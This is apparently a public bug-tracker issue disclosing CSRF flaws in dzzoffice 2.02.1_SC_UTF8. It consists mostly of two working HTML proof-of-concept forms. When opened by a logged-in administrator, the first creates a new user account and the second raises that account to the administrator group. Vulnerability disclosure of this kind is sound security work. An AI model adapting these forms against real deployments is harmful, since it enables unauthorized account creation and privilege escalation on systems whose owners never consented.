# Multiple CSRF vulnerabilities occurred in dzzoffice2.02.1_SC_UTF8 #223

Open 13345674 opened this issue on Oct 16 · 0 comments

**13345674** commented on Oct 16

After log-in as an administrator,poc below opened in a new html will create a new user account:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/admin.php?mod=orguser&op=edituser&inajax=1" method="POST">
      <input type="hidden" name="accountadd" value="true" />
      <input type="hidden" name="uid" value="0" />
      <input type="hidden" name="handlekey" value="adduser" />
      <input type="hidden" name="formhash" value="3e4b7c67" />
      <input type="hidden" name="email" value="test&#64;133&#46;com" />
      <input type="hidden" name="username" value="test" />
      <input type="hidden" name="phone" value="123" />
      <input type="hidden" name="weixinid" value="123tcp" />
      <input type="hidden" name="password" value="123" />
      <input type="hidden" name="password2" value="123" />
      <input type="hidden" name="groupid" value="9" />
      <input type="hidden" name="orgids&#91;&#93;" value="1" />
      <input type="hidden" name="jobids&#91;&#93;" value="0" />
      <input type="hidden" name="uporgid" value="1" />
      <input type="hidden" name="upjobid" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Then,poc below will elevate the privilege:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/dzz/admin.php?mod=orguser&op=edituser&inajax=1" method="POST">
      <input type="hidden" name="accountedit" value="true" />
      <input type="hidden" name="uid" value="2" />
      <input type="hidden" name="handlekey" value="edituser" />
      <input type="hidden" name="formhash" value="3e4b7c67" />
      <input type="hidden" name="email" value="test&#64;133&#46;com" />
      <input type="hidden" name="username" value="test" />
      <input type="hidden" name="phone" value="123" />
      <input type="hidden" name="weixinid" value="123tcp" />
      <input type="hidden" name="password" value="" />
      <input type="hidden" name="password2" value="" />
      <input type="hidden" name="userspace" value="0" />
      <input type="hidden" name="groupid" value="1" />
      <input type="hidden" name="orgids&#91;&#93;" value="1" />
      <input type="hidden" name="jobids&#91;&#93;" value="0" />
      <input type="hidden" name="orgids&#91;&#93;" value="0" />
      <input type="hidden" name="jobids&#91;&#93;" value="0" />
      <input type="hidden" name="uporgid" value="" />
      <input type="hidden" name="upjobid" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant